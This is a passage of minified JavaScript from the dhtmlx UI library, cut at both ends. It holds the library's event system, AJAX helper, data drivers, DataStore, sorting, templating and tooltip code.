[\"+a+\"]:\"+(c.valueOf()-dhtmlx[e].valueOf())/1000+\"s\");dhtmlx[e]=null}};dhtmlx.error=function(c,a){dhtmlx.log(\"error\",c,a)};dhtmlx.EventSystem={_init:function(){this._events={};this._handlers={};this._map={}},block:function(){this._events._block=true},unblock:function(){this._events._block=false},mapEvent:function(a){dhtmlx.extend(this._map,a)},callEvent:function(e,h){if(this._events._block){return true}e=e.toLowerCase();dhtmlx.assert_event_call(this,e,h);var g=this._events[e.toLowerCase()];var a=true;if(dhtmlx.debug){dhtmlx.log(\"info\",\"[\"+this.name+\"] event:\"+e,h)}if(g){for(var c=0;c<g.length;c++){if(g[c].apply(this,(h||[]))===false){a=false}}}if(this._map[e]&&!this._map[e].callEvent(e,h)){a=false}return a},attachEvent:function(c,a,g){c=c.toLowerCase();dhtmlx.assert_event_attach(this,c);g=g||dhtmlx.uid();a=dhtmlx.toFunctor(a);var e=this._events[c]||dhtmlx.toArray();e.push(a);this._events[c]=e;this._handlers[g]={f:a,t:c};return g},detachEvent:function(g){if(this._handlers[g]){var c=this._handlers[g].t;var a=this._handlers[g].f;var e=this._events[c];e.remove(a);delete this._handlers[g]}}};dhtmlx.PowerArray={removeAt:function(c,a){if(c>=0){this.splice(c,(a||1))}},remove:function(a){this.removeAt(this.find(a))},insertAt:function(c,e){if(!e&&e!==0){this.push(c)}else{var a=this.splice(e,(this.length-e));this[e]=c;this.push.apply(this,a)}},find:function(a){for(i=0;i<this.length;i++){if(a==this[i]){return i}}return -1},each:function(a,e){for(var c=0;c<this.length;c++){a.call((e||this),this[c])}},map:function(a,e){for(var c=0;c<this.length;c++){this[c]=a.call((e||this),this[c])}return this}};dhtmlx.env={};if(navigator.userAgent.indexOf(\"Opera\")!=-1){dhtmlx._isOpera=true}else{dhtmlx._isIE=!!document.all;dhtmlx._isFF=!document.all;dhtmlx._isWebKit=(navigator.userAgent.indexOf(\"KHTML\")!=-1);if(navigator.appVersion.indexOf(\"MSIE 8.0\")!=-1&&document.compatMode!=\"BackCompat\"){dhtmlx._isIE=8}if(navigator.appVersion.indexOf(\"MSIE 9.0\")!=-1&&document.compatMode!=\"BackCompat\"){dhtmlx._isIE=9}}dhtmlx.env={};(function(){dhtmlx.env.transform=false;dhtmlx.env.transition=false;var a={};a.names=[\"transform\",\"transition\"];a.transform=[\"transform\",\"WebkitTransform\",\"MozTransform\",\"oTransform\",\"msTransform\"];a.transition=[\"transition\",\"WebkitTransition\",\"MozTransition\",\"oTransition\"];var g=document.createElement(\"DIV\");var e;for(var c=0;c<a.names.length;c++){while(p=a[a.names[c]].pop()){if(typeof g.style[p]!=\"undefined\"){dhtmlx.env[a.names[c]]=true}}}})();dhtmlx.env.transform_prefix=(function(){var a;if(dhtmlx._isOpera){a=\"-o-\"}else{a=\"\";if(dhtmlx._isFF){a=\"-moz-\"}if(dhtmlx._isWebKit){a=\"-webkit-\"}}return a})();dhtmlx.env.svg=(function(){return document.implementation.hasFeature(\"http://www.w3.org/TR/SVG11/feature#BasicStructure\",\"1.1\")})();dhtmlx.zIndex={drag:10000};dhtmlx.html={create:function(c,a,e){a=a||{};var g=document.createElement(c);for(var h in a){g.setAttribute(h,a[h])}if(a.style){g.style.cssText=a.style}if(a[\"class\"]){g.className=a[\"class\"]}if(e){g.innerHTML=e}return g},getValue:function(a){a=dhtmlx.toNode(a);if(!a){return\"\"}return dhtmlx.isNotDefined(a.value)?a.innerHTML:a.value},remove:function(c){if(c instanceof Array){for(var a=0;a<c.length;a++){this.remove(c[a])}}else{if(c&&c.parentNode){c.parentNode.removeChild(c)}}},insertBefore:function(c,e,a){if(!c){return}if(e){e.parentNode.insertBefore(c,e)}else{a.appendChild(c)}},locate:function(c,h){c=c||event;var a=c.target||c.srcElement;while(a){if(a.getAttribute){var g=a.getAttribute(h);if(g){return g}}a=a.parentNode}return null},offset:function(g){if(g.getBoundingClientRect){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{y:Math.round(q),x:Math.round(e)}}else{var q=0,e=0;while(g){q=q+parseInt(g.offsetTop,10);e=e+parseInt(g.offsetLeft,10);g=g.offsetParent}return{y:q,x:e}}},pos:function(a){a=a||event;if(a.pageX||a.pageY){return{x:a.pageX,y:a.pageY}}var c=((dhtmlx._isIE)&&(document.compatMode!=\"BackCompat\"))?document.documentElement:document.body;return{x:a.clientX+c.scrollLeft-c.clientLeft,y:a.clientY+c.scrollTop-c.clientTop}},preventEvent:function(a){if(a&&a.preventDefault){a.preventDefault()}dhtmlx.html.stopEvent(a)},stopEvent:function(a){(a||event).cancelBubble=true;return false},addCss:function(c,a){c.className+=\" \"+a},removeCss:function(c,a){c.className=c.className.replace(RegExp(a,\"g\"),\"\")}};(function(){var a=document.getElementsByTagName(\"SCRIPT\");dhtmlx.assert(a.length,\"Can't locate codebase\");if(a.length){a=(a[a.length-1].getAttribute(\"src\")||\"\").split(\"/\");a.splice(a.length-1,1);dhtmlx.codebase=a.slice(0,a.length).join(\"/\")+\"/\"}})();if(!dhtmlx.ui){dhtmlx.ui={}}dhtmlx.Destruction={_init:function(){dhtmlx.destructors.push(this)},destructor:function(){this.destructor=function(){};this._htmlmap=null;this._htmlrows=null;if(this._html){document.body.appendChild(this._html)}this._html=null;if(this._obj){this._obj.innerHTML=\"\";this._obj._htmlmap=null}this._obj=this._dataobj=null;this.data=null;this._events=this._handlers={};if(this.render){this.render=function(){}}}};dhtmlx.destructors=[];dhtmlx.event(window,\"unload\",function(){if(dhtmlx.destructors){for(var e=0;e<dhtmlx.destructors.length;e++){dhtmlx.destructors[e].destructor()}dhtmlx.destructors=[]}for(var c in dhtmlx._events){var g=dhtmlx._events[c];if(g[0].removeEventListener){g[0].removeEventListener(g[1],g[2],false)}else{if(g[0].detachEvent){g[0].detachEvent(\"on\"+g[1],g[2])}}delete dhtmlx._events[c]}});dhtmlx.ajax=function(a,c,e){if(arguments.length!==0){var g=new dhtmlx.ajax();if(e){g.master=e}g.get(a,null,c)}if(!this.getXHR){return new dhtmlx.ajax()}return this};dhtmlx.ajax.prototype={getXHR:function(){if(dhtmlx._isIE){return new ActiveXObject(\"Microsoft.xmlHTTP\")}else{return new XMLHttpRequest()}},send:function(h,o,m){var c=this.getXHR();if(typeof m==\"function\"){m=[m]}if(typeof o==\"object\"){var l=[];for(var e in o){var n=o[e];if(n===null||n===dhtmlx.undefined){n=\"\"}l.push(e+\"=\"+encodeURIComponent(n))}o=l.join(\"&\")}if(o&&!this.post){h=h+(h.indexOf(\"?\")!=-1?\"&\":\"?\")+o;o=null}c.open(this.post?\"POST\":\"GET\",h,!this._sync);if(this.post){c.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\")}var g=this;c.onreadystatechange=function(){if(!c.readyState||c.readyState==4){if(m&&g){for(var a=0;a<m.length;a++){if(m[a]){m[a].call((g.master||g),c.responseText,c.responseXML,c)}}}g.master=null;m=g=null}};c.send(o||null);return c},get:function(a,e,c){this.post=false;return this.send(a,e,c)},post:function(a,e,c){this.post=true;return this.send(a,e,c)},sync:function(){this._sync=true;return this}};dhtmlx.AtomDataLoader={_init:function(a){this.data={};if(a){this._settings.datatype=a.datatype||\"json\";this._after_init.push(this._load_when_ready)}},_load_when_ready:function(){this._ready_for_data=true;if(this._settings.url){this.url_setter(this._settings.url)}if(this._settings.data){this.data_setter(this._settings.data)}},url_setter:function(a){if(!this._ready_for_data){return a}this.load(a,this._settings.datatype);return a},data_setter:function(a){if(!this._ready_for_data){return a}this.parse(a,this._settings.datatype);return true},load:function(a,c){this.callEvent(\"onXLS\",[]);if(typeof c==\"string\"){this.data.driver=dhtmlx.DataDriver[c];c=arguments[2]}else{this.data.driver=dhtmlx.DataDriver.xml}dhtmlx.ajax(a,[this._onLoad,c],this)},parse:function(c,a){this.callEvent(\"onXLS\",[]);this.data.driver=dhtmlx.DataDriver[a||\"xml\"];this._onLoad(c,null)},_onLoad:function(h,c,a){var e=this.data.driver;var g=e.getRecords(e.toObject(h,c))[0];this.data=(e?e.getDetails(g):h);this.callEvent(\"onXLE\",[])},_check_data_feed:function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.callEvent(\"onXLS\",[]);dhtmlx.ajax(a,function(g,e){this._ignore_feed=true;this.setValues(dhtmlx.DataDriver.json.toObject(g)[0]);this._ignore_feed=false;this.callEvent(\"onXLE\",[])},this);return false}};dhtmlx.DataDriver={};dhtmlx.DataDriver.json={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data);return dhtmlx.temp}return data},getRecords:function(a){if(a&&!(a instanceof Array)){return[a]}return a},getDetails:function(a){return a},getInfo:function(a){return{_size:(a.total_count||0),_from:(a.pos||0),_key:(a.dhx_security)}}};dhtmlx.DataDriver.json_ext={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){var temp;eval(\"temp=\"+data);dhtmlx.temp=[];var header=temp.header;for(var i=0;i<temp.data.length;i++){var item={};for(var j=0;j<header.length;j++){if(typeof(temp.data[i][j])!=\"undefined\"){item[header[j]]=temp.data[i][j]}}dhtmlx.temp.push(item)}return dhtmlx.temp}return data},getRecords:function(a){if(a&&!(a instanceof Array)){return[a]}return a},getDetails:function(a){return a},getInfo:function(a){return{_size:(a.total_count||0),_from:(a.pos||0)}}};dhtmlx.DataDriver.html={toObject:function(c){if(typeof c==\"string\"){var a=null;if(c.indexOf(\"<\")==-1){a=dhtmlx.toNode(c)}if(!a){a=document.createElement(\"DIV\");a.innerHTML=c}return a.getElementsByTagName(this.tag)}return c},getRecords:function(a){if(a.tagName){return a.childNodes}return a},getDetails:function(a){return dhtmlx.DataDriver.xml.tagToObject(a)},getInfo:function(a){return{_size:0,_from:0}},tag:\"LI\"};dhtmlx.DataDriver.jsarray={toObject:function(data){if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data);return dhtmlx.temp}return data},getRecords:function(a){return a},getDetails:function(e){var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}}};dhtmlx.DataDriver.csv={toObject:function(a){return a},getRecords:function(a){return a.split(this.row)},getDetails:function(e){e=this.stringToArray(e);var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}},stringToArray:function(c){c=c.split(this.cell);for(var a=0;a<c.length;a++){c[a]=c[a].replace(/^[ \\t\\n\\r]*(\\\"|)/g,\"\").replace(/(\\\"|)[ \\t\\n\\r]*$/g,\"\")}return c},row:\"\\n\",cell:\",\"};dhtmlx.DataDriver.xml={toObject:function(c,a){if(a&&(a=this.checkResponse(c,a))){return a}if(typeof c==\"string\"){return this.fromString(c)}return c},getRecords:function(a){return this.xpath(a,this.records)},records:\"/*/item\",getDetails:function(a){return this.tagToObject(a,{})},getInfo:function(a){return{_size:(a.documentElement.getAttribute(\"total_count\")||0),_from:(a.documentElement.getAttribute(\"pos\")||0),_key:(a.documentElement.getAttribute(\"dhx_security\"))}},xpath:function(h,q){if(window.XPathResult){var g=h;if(h.nodeName.indexOf(\"document\")==-1){h=h.ownerDocument}var n=[];var c=h.evaluate(q,g,null,XPathResult.ANY_TYPE,null);var o=c.iterateNext();while(o){n.push(o);o=c.iterateNext()}return n}else{var m=true;try{if(typeof(h.selectNodes)==\"undefined\"){m=false}}catch(l){}if(m){return h.selectNodes(q)}else{var a=q.split(\"/\").pop();return h.getElementsByTagName(a)}}},tagToObject:function(e,o){o=o||{};var h=false;var g=e.attributes;if(g&&g.length){for(var m=0;m<g.length;m++){o[g[m].name]=g[m].value}h=true}var c=e.childNodes;var n={};for(var m=0;m<c.length;m++){if(c[m].nodeType==1){var l=c[m].tagName;if(typeof o[l]!=\"undefined\"){if(!(o[l] instanceof Array)){o[l]=[o[l]]}o[l].push(this.tagToObject(c[m],{}))}else{o[c[m].tagName]=this.tagToObject(c[m],{})}h=true}}if(!h){return this.nodeValue(e)}o.value=this.nodeValue(e);return o},nodeValue:function(a){if(a.firstChild){return a.firstChild.wholeText||a.firstChild.data}return\"\"},fromString:function(c){if(window.DOMParser&&!dhtmlx._isIE){return(new DOMParser()).parseFromString(c,\"text/xml\")}if(window.ActiveXObject){var a=new ActiveXObject(\"Microsoft.xmlDOM\");a.loadXML(c);return a}dhtmlx.error(\"Load from xml string is not supported\")},checkResponse:function(g,e){if(e&&(e.firstChild&&e.firstChild.tagName!=\"parsererror\")){return e}var c=this.fromString(g.replace(/^[\\s]+/,\"\"));if(c){return c}dhtmlx.error(\"xml can't be parsed\",g)}};dhtmlx.DataLoader={_init:function(a){a=a||\"\";this.name=\"DataStore\";this.data=(a.datastore)||(new dhtmlx.DataStore());this._readyHandler=this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(this._call_onready,this))},load:function(a,c){dhtmlx.AtomDataLoader.load.apply(this,arguments);if(!this.data.feed){this.data.feed=function(g,e){if(this._load_count){return this._load_count=[g,e]}else{this._load_count=true}this.load(a+((a.indexOf(\"?\")==-1)?\"?\":\"&\")+\"posStart=\"+g+\"&count=\"+e,function(){var h=this._load_count;this._load_count=false;if(typeof h==\"object\"){this.data.feed.apply(this,h)}})}}},_onLoad:function(e,c,a){this.data._parse(this.data.driver.toObject(e,c));this.callEvent(\"onXLE\",[]);if(this._readyHandler){this.data.detachEvent(this._readyHandler);this._readyHandler=null}},dataFeed_setter:function(a){this.data.attachEvent(\"onBeforeFilter\",dhtmlx.bind(function(m,l){if(this._settings.dataFeed){var h={};if(!m&&!h){return}if(typeof m==\"function\"){if(!l){return}m(l,h)}else{h={text:l}}this.clearAll();var c=this._settings.dataFeed;if(typeof c==\"function\"){return c.call(this,l,h)}var g=[];for(var e in h){g.push(\"dhx_filter[\"+e+\"]=\"+encodeURIComponent(h[e]))}this.load(c+(c.indexOf(\"?\")<0?\"?\":\"&\")+g.join(\"&\"),this._settings.datatype);return false}},this));return a},_call_onready:function(){if(this._settings.ready){var a=dhtmlx.toFunctor(this._settings.ready);if(a&&a.call){a.apply(this,arguments)}}}};dhtmlx.DataStore=function(){this.name=\"DataStore\";dhtmlx.extend(this,dhtmlx.EventSystem);this.setDriver(\"xml\");this.pull={};this.order=dhtmlx.toArray()};dhtmlx.DataStore.prototype={setDriver:function(a){dhtmlx.assert(dhtmlx.DataDriver[a],\"incorrect DataDriver\");this.driver=dhtmlx.DataDriver[a]},_parse:function(h){this.callEvent(\"onParse\",[this.driver,h]);if(this._filter_order){this.filter()}var l=this.driver.getInfo(h);if(l._key){dhtmlx.security_key=l._key}var g=this.driver.getRecords(h);var n=(l._from||0)*1;if(n===0&&this.order[0]){n=this.order.length}var c=0;for(var e=0;e<g.length;e++){var a=this.driver.getDetails(g[e]);var m=this.id(a);if(!this.pull[m]){this.order[c+n]=m;c++}this.pull[m]=a;if(this.extraParser){this.extraParser(a)}if(this._scheme){if(this._scheme.$init){this._scheme.$update(a)}else{if(this._scheme.$update){this._scheme.$update(a)}}}}for(var e=0;e<l._size;e++){if(!this.order[e]){var m=dhtmlx.uid();var a={id:m,$template:\"loading\"};this.pull[m]=a;this.order[e]=m}}this.callEvent(\"onStoreLoad\",[this.driver,h]);this.refresh()},id:function(a){return a.id||(a.id=dhtmlx.uid())},changeId:function(c,a){dhtmlx.assert(this.pull[c],\"Can't change id, for non existing item: \"+c);this.pull[a]=this.pull[c];this.pull[a].id=a;this.order[this.order.find(c)]=a;if(this._filter_order){this._filter_order[this._filter_order.find(c)]=a}this.callEvent(\"onIdChange\",[c,a]);if(this._render_change_id){this._render_change_id(c,a)}},get:function(a){return this.item(a)},set:function(c,a){return this.update(c,a)},item:function(a){return this.pull[a]},update:function(c,a){if(this._scheme&&this._scheme.$update){this._scheme.$update(a)}if(this.callEvent(\"onBeforeUpdate\",[c,a])===false){return false}this.pull[c]=a;this.refresh(c)},refresh:function(a){if(this._skip_refresh){return}if(a){this.callEvent(\"onStoreUpdated\",[a,this.pull[a],\"update\"])}else{this.callEvent(\"onStoreUpdated\",[null,null,null])}},silent:function(a){this._skip_refresh=true;a.call(this);this._skip_refresh=false},getRange:function(g,e){if(g){g=this.indexById(g)}else{g=this.startOffset||0}if(e){e=this.indexById(e)}else{e=Math.min((this.endOffset||Infinity),(this.dataCount()-1));if(e<0){e=0}}if(g>e){var c=e;e=g;g=c}return this.getIndexRange(g,e)},getIndexRange:function(g,e){e=Math.min((e||Infinity),this.dataCount()-1);var a=dhtmlx.toArray();for(var c=(g||0);c<=e;c++){a.push(this.item(this.order[c]))}return a},dataCount:function(){return this.order.length},exists:function(a){return !!(this.pull[a])},move:function(a,g){if(a<0||g<0){dhtmlx.error(\"DataStore::move\",\"Incorrect indexes\");return}var e=this.idByIndex(a);var c=this.item(e);this.order.removeAt(a);this.order.insertAt(e,Math.min(this.order.length,g));this.callEvent(\"onStoreUpdated\",[e,c,\"move\"])},scheme:function(a){this._scheme=a},sync:function(h,g,a){if(typeof g!=\"function\"){a=g;g=null}if(dhtmlx.debug_bind){this.debug_sync_master=h;dhtmlx.log(\"[sync] \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id+\" <= \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id)}var e=h;if(h.name!=\"DataStore\"){h=h.data}var c=dhtmlx.bind(function(n,l,m){if(m!=\"update\"||g){n=null}if(!n){this.order=dhtmlx.toArray([].concat(h.order));this._filter_order=null;this.pull=h.pull;if(g){this.silent(g)}if(this._on_sync){this._on_sync()}}if(dhtmlx.debug_bind){dhtmlx.log(\"[sync:request] \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id+\" <= \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id)}if(!a){this.refresh(n)}else{a=false}},this);h.attachEvent(\"onStoreUpdated\",c);this.feed=function(m,l){e.loadNext(l,m)};c()},add:function(h,a){if(this._scheme){h=h||{};for(var c in this._scheme){h[c]=h[c]||this._scheme[c]}if(this._scheme){if(this._scheme.$init){this._scheme.$update(h)}else{if(this._scheme.$update){this._scheme.$update(h)}}}}var l=this.id(h);var g=this.dataCount();if(dhtmlx.isNotDefined(a)||a<0){a=g}if(a>g){dhtmlx.log(\"Warning\",\"DataStore:add\",\"Index of out of bounds\");a=Math.min(this.order.length,a)}if(this.callEvent(\"onBeforeAdd\",[l,h,a])===false){return false}if(this.exists(l)){return dhtmlx.error(\"Not unique ID\")}this.pull[l]=h;this.order.insertAt(l,a);if(this._filter_order){var e=this._filter_order.length;if(!a&&this.order.length){e=0}this._filter_order.insertAt(l,e)}this.callEvent(\"onafterAdd\",[l,a]);this.callEvent(\"onStoreUpdated\",[l,h,\"add\"]);return l},remove:function(e){if(e instanceof Array){for(var a=0;a<e.length;a++){this.remove(e[a])}return}if(this.callEvent(\"onBeforeDelete\",[e])===false){return false}if(!this.exists(e)){return dhtmlx.error(\"Not existing ID\",e)}var c=this.item(e);this.order.remove(e);if(this._filter_order){this._filter_order.remove(e)}delete this.pull[e];this.callEvent(\"onafterdelete\",[e]);this.callEvent(\"onStoreUpdated\",[e,c,\"delete\"])},clearAll:function(){this.pull={};this.order=dhtmlx.toArray();this.feed=null;this._filter_order=null;this.callEvent(\"onClearAll\",[]);this.refresh()},idByIndex:function(a){if(a>=this.order.length||a<0){dhtmlx.log(\"Warning\",\"DataStore::idByIndex Incorrect index\")}return this.order[a]},indexById:function(c){var a=this.order.find(c);return a},next:function(c,a){return this.order[this.indexById(c)+(a||1)]},first:function(){return this.order[0]},last:function(){return this.order[this.order.length-1]},previous:function(c,a){return this.order[this.indexById(c)-(a||1)]},sort:function(l,c,a){var e=l;if(typeof l==\"function\"){e={as:l,dir:c}}else{if(typeof l==\"string\"){e={by:l,dir:c,as:a}}}var h=[e.by,e.dir,e.as];if(!this.callEvent(\"onbeforesort\",h)){return}if(this.order.length){var m=dhtmlx.sort.create(e);var g=this.getRange(this.first(),this.last());g.sort(m);this.order=g.map(function(n){return this.id(n)},this)}this.refresh();this.callEvent(\"onaftersort\",h)},filter:function(h,g){if(!this.callEvent(\"onBeforeFilter\",[h,g])){return}if(this._filter_order){this.order=this._filter_order;delete this._filter_order}if(!this.order.length){return}if(h){var c=h;g=g||\"\";if(typeof h==\"string\"){h=dhtmlx.Template.fromHTML(h);g=g.toString().toLowerCase();c=function(n,m){return h(n).toLowerCase().indexOf(m)!=-1}}var e=dhtmlx.toArray();for(var a=0;a<this.order.length;a++){var l=this.order[a];if(c(this.item(l),g)){e.push(l)}}this._filter_order=this.order;this.order=e}this.refresh();this.callEvent(\"onAfterFilter\",[])},each:function(e,c){for(var a=0;a<this.order.length;a++){e.call((c||this),this.item(this.order[a]))}},provideApi:function(g,c){this.debug_bind_master=g;if(c){this.mapEvent({onbeforesort:g,onaftersort:g,onbeforeadd:g,onafteradd:g,onbeforedelete:g,onafterdelete:g,onbeforeupdate:g})}var e=[\"get\",\"set\",\"sort\",\"add\",\"remove\",\"exists\",\"idByIndex\",\"indexById\",\"item\",\"update\",\"refresh\",\"dataCount\",\"filter\",\"next\",\"previous\",\"clearAll\",\"first\",\"last\",\"serialize\"];for(var a=0;a<e.length;a++){g[e[a]]=dhtmlx.methodPush(this,e[a])}if(dhtmlx.assert_enabled()){this.assert_event(g)}},serialize:function(){var e=this.order;var a=[];for(var c=0;c<e.length;c++){a.push(this.pull[e[c]])}return a}};dhtmlx.sort={create:function(a){return dhtmlx.sort.dir(a.dir,dhtmlx.sort.by(a.by,a.as))},as:{\"int\":function(e,c){e=e*1;c=c*1;return e>c?1:(e<c?-1:0)},string_strict:function(e,c){e=e.toString();c=c.toString();return e>c?1:(e<c?-1:0)},string:function(e,c){e=e.toString().toLowerCase();c=c.toString().toLowerCase();return e>c?1:(e<c?-1:0)}},by:function(c,a){if(!c){return a}if(typeof a!=\"function\"){a=dhtmlx.sort.as[a||\"string\"]}c=dhtmlx.Template.fromHTML(c);return function(g,e){return a(c(g),c(e))}},dir:function(c,a){if(c==\"asc\"){return a}return function(g,e){return a(g,e)*-1}}};dhtmlx.KeyEvents={_init:function(){dhtmlx.event(this._obj,\"keypress\",this._onKeyPress,this)},_onKeyPress:function(c){c=c||event;var a=c.which||c.keyCode;this.callEvent((this._edit_id?\"onEditKeyPress\":\"onKeyPress\"),[a,c.ctrlKey,c.shiftKey,c])}};dhtmlx.MouseEvents={_init:function(){if(this.on_click){dhtmlx.event(this._obj,\"click\",this._onClick,this);dhtmlx.event(this._obj,\"contextmenu\",this._onContext,this)}if(this.on_dblclick){dhtmlx.event(this._obj,\"dblclick\",this._onDblClick,this)}if(this.on_mouse_move){dhtmlx.event(this._obj,\"mousemove\",this._onMouse,this);dhtmlx.event(this._obj,(dhtmlx._isIE?\"mouseleave\":\"mouseout\"),this._onMouse,this)}},_onClick:function(a){return this._mouseEvent(a,this.on_click,\"ItemClick\")},_onDblClick:function(a){return this._mouseEvent(a,this.on_dblclick,\"ItemDblClick\")},_onContext:function(a){var c=dhtmlx.html.locate(a,this._id);if(c&&!this.callEvent(\"onBeforeContextMenu\",[c,a])){return dhtmlx.html.preventEvent(a)}},_onMouse:function(a){if(dhtmlx._isIE){a=document.createEventObject(event)}if(this._mouse_move_timer){window.clearTimeout(this._mouse_move_timer)}this.callEvent(\"onMouseMoving\",[a]);this._mouse_move_timer=window.setTimeout(dhtmlx.bind(function(){if(a.type==\"mousemove\"){this._onMouseMove(a)}else{this._onMouseOut(a)}},this),500)},_onMouseMove:function(a){if(!this._mouseEvent(a,this.on_mouse_move,\"MouseMove\")){this.callEvent(\"onMouseOut\",[a||event])}},_onMouseOut:function(a){this.callEvent(\"onMouseOut\",[a||event])},_mouseEvent:function(m,l,c){m=m||event;var a=m.target||m.srcElement;var g=\"\";var n=null;var h=false;while(a&&a.parentNode){if(!h&&a.getAttribute){n=a.getAttribute(this._id);if(n){if(a.getAttribute(\"userdata\")){this.callEvent(\"onLocateData\",[n,a])}if(!this.callEvent(\"on\"+c,[n,m,a])){return}h=true}}g=a.className;if(g){g=g.split(\" \");g=g[0]||g[1];if(l[g]){return l[g].call(this,m,n||dhtmlx.html.locate(m,this._id),a)}}a=a.parentNode}return h}};dhtmlx.Settings={_init:function(){this._settings=this.config={}},define:function(c,a){if(typeof c==\"object\"){return this._parseSeetingColl(c)}return this._define(c,a)},_define:function(c,a){dhtmlx.assert_settings.call(this,c,a);var e=this[c+\"_setter\"];return this._settings[c]=e?e.call(this,a):a},_parseSeetingColl:function(e){if(e){for(var c in e){this._define(c,e[c])}}},_parseSettings:function(e,a){var c=dhtmlx.extend({},a);if(typeof e==\"object\"&&!e.tagName){dhtmlx.extend(c,e)}this._parseSeetingColl(c)},_mergeSettings:function(a,e){for(var c in e){switch(typeof a[c]){case\"object\":a[c]=this._mergeSettings((a[c]||{}),e[c]);break;case\"undefined\":a[c]=e[c];break;default:break}}return a},_parseContainer:function(c,a,e){if(typeof c==\"object\"&&!c.tagName){c=c.container}this._obj=this.$view=dhtmlx.toNode(c);if(!this._obj&&e){this._obj=e(c)}dhtmlx.assert(this._obj,\"Incorrect html container\");this._obj.className+=\" \"+a;this._obj.onselectstart=function(){return false};this._dataobj=this._obj},_set_type:function(a){if(typeof a==\"object\"){return this.type_setter(a)}dhtmlx.assert(this.types,\"RenderStack :: Types are not defined\");dhtmlx.assert(this.types[a],\"RenderStack :: Inccorect type name\",a);this.type=dhtmlx.extend({},this.types[a]);this.customize()},customize:function(a){if(a){dhtmlx.extend(this.type,a)}this.type._item_start=dhtmlx.Template.fromHTML(this.template_item_start(this.type));this.type._item_end=this.template_item_end(this.type);this.render()},type_setter:function(a){this._set_type(typeof a==\"object\"?dhtmlx.Type.add(this,a):a);return a},template_setter:function(a){return this.type_setter({template:a})},css_setter:function(a){this._obj.className+=\" \"+a;return a}};dhtmlx.Template={_cache:{},empty:function(){return\"\"},setter:function(a){return dhtmlx.Template.fromHTML(a)},obj_setter:function(c){var a=dhtmlx.Template.setter(c);var e=this;return function(){return a.apply(e,arguments)}},fromHTML:function(a){if(typeof a==\"function\"){return a}if(this._cache[a]){return this._cache[a]}a=(a||\"\").toString();a=a.replace(/[\\r\\n]+/g,\"\\\\n\");a=a.replace(/\\{obj\\.([^}?]+)\\?([^:]*):([^}]*)\\}/g,'\"+(obj.$1?\"$2\":\"$3\")+\"');a=a.replace(/\\{common\\.([^}\\(]*)\\}/g,'\"+common.$1+\"');a=a.replace(/\\{common\\.([^\\}\\(]*)\\(\\)\\}/g,'\"+(common.$1?common.$1(obj):\"\")+\"');a=a.replace(/\\{obj\\.([^}]*)\\}/g,'\"+obj.$1+\"');a=a.replace(/#([a-z0-9_]+)#/gi,'\"+obj.$1+\"');a=a.replace(/\\{obj\\}/g,'\"+obj+\"');a=a.replace(/\\{-obj/g,\"{obj\");a=a.replace(/\\{-common/g,\"{common\");a='return \"'+a+'\";';return this._cache[a]=Function(\"obj\",\"common\",a)}};dhtmlx.Type={add:function(e,c){if(!e.types&&e.prototype.types){e=e.prototype}if(dhtmlx.assert_enabled()){this.assert_event(c)}var a=c.name||\"default\";this._template(c);this._template(c,\"edit\");this._template(c,\"loading\");e.types[a]=dhtmlx.extend(dhtmlx.extend({},(e.types[a]||this._default)),c);return a},_default:{css:\"default\",template:function(){return\"\"},template_edit:function(){return\"\"},template_loading:function(){return\"...\"},width:150,height:80,margin:5,padding:0},_template:function(e,a){a=\"template\"+(a?(\"_\"+a):\"\");var c=e[a];if(c&&(typeof c==\"string\")){if(c.indexOf(\"->\")!=-1){c=c.split(\"->\");switch(c[0]){case\"html\":c=dhtmlx.html.getValue(c[1]).replace(/\\\"/g,'\\\\\"');break;case\"http\":c=new dhtmlx.ajax().sync().get(c[1],{uid:(new Date()).valueOf()}).responseText;break;default:break}}e[a]=dhtmlx.Template.fromHTML(c)}}};dhtmlx.SingleRender={_init:function(){},_toHTML:function(a){return this.type._item_start(a,this.type)+this.type.template(a,this.type)+this.type._item_end},render:function(){if(!this.callEvent||this.callEvent(\"onBeforeRender\",[this.data])){if(this.data){this._dataobj.innerHTML=this._toHTML(this.data)}if(this.callEvent){this.callEvent(\"onAfterRender\",[])}}}};dhtmlx.ui.Tooltip=function(a){this.name=\"Tooltip\";if(dhtmlx.assert_enabled()){this._assert()}if(typeof a==\"string\"){a={template:a}}dhtmlx.extend(this,dhtmlx.Settings);dhtmlx.extend(this,dhtmlx.SingleRender);this._parseSettings(a,{type:\"default\",dy:0,dx:20});this._dataobj=this._obj=document.createElement(\"DIV\");this._obj.className=\"dhx_tooltip\";dhtmlx.html.insertBefore(this._obj,document.body.firstChild)};dhtmlx.ui.Tooltip.prototype={show:function(a,c){if(this._disabled){return}if(this.data!=a){this.data=a;this.render(a)}this._obj.style.top=c.y+this._settings.dy+\"px\";this._obj.style.left=c.x+this._settings.dx+\"px\";this._obj.style.display=\"block\"},hide:function(){this.data=null;this._obj.style.display=\"none\"},disable:function(){this._disabled=true},enable:function(){this._disabled=false},types:{\"default\":dhtmlx.Template.fromHTML(\"{obj.id}\")},template_item_start:dhtmlx.Template.empty,template_item_end:dhtmlx.Template.empty};dhtmlx.AutoTooltip={tooltip_setter:function(c){var a=new 